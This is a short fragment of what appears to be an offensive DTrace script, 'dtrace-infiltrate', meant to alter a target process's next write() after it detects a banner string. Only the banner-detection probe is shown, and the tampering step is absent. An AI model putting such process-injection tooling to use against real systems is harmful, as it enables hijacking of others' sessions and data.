dtrace-infiltrate

dshdbd.d – (Client)
Modify the next write() call after the header is sent.
First we find the header and set a flag.
syscall::write*:entry
/NEXTONE == 0 && FINISHED == 0 && pid == $target &&
(strstr(copyinstr(arg1,100),BANNER) != 0)/
{
printf("[+] Found banner, skipping until next write().\n");
NEXTONE = 1;
}